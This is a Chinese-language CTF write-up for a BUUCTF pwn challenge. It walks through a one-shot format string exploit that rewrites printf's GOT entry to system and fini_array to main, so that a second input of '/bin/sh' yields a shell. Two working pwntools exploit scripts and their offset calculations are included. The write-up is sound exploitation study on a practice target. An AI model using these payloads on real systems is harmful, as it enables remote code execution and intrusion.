格式化字符串结合程序执行,更深入理解的一次实践.
本题只有一次格式华字符串漏洞利用机会且写入字节有限,题目保护:
只开了NX,我们考虑利用任意写将printf函数地址改为system,但是少了一个“/bin/sh\x00”
根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell,
现在问题是怎么改:
我发现一种好理解的方式
我们先看wp1:
from pwn import *
sh = remote('node4.buuoj.cn',27731)
payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
#2052=0x804 ,31692=0x83d0-0x804,356=0x8354-0x83d0,前面字符串加起来刚好32位8个字节,加上偏移4,得13.
sh.recvline()
sh.sendline(payload)
#sleep(1)
sh.sendline("/bin/sh")
sh.interactive()
这里对fini_array[]处只修改了其指向的低处2个字节地址,对于printf.got.plt指向的函数地址却全部修改,我们可以在pwndbg里用“telescope”查看
我们需要修改的system地址为80483d0,对比可知。
WP2:
from pwn import*
p=remote('node4.buuoj.cn',26430)
elf=ELF('./sw1')
context.log_level='debug'
system=0x080483d0
main=0x08048534
fini_array=0x0804979C
printf_got=0x804989c
payload = p32(fini_array+2) + p32(printf_got+2) +p32(printf_got)+p32(fini_array)
payload += "%"+str(0x804-0x10)+"c%4$hn"+ "%5$hn" + "%" + str(0x83d0-0x0804) + "c%6$hn"+ "%" + str(0x8534-0x83d0)+"c%7$hn"
p.sendlineafter("name?",payload)
p.send("/bin/sh\x00")
p.interactive()
我干,我傻了好久,刚开始这个“-0x10”我居然不知道啥意思,其实是之前输入了4个p32我去,,,,,离谱之
至于写入的理解:
我们可以设想它是从低地址往高地址写入,所以有那个**+2**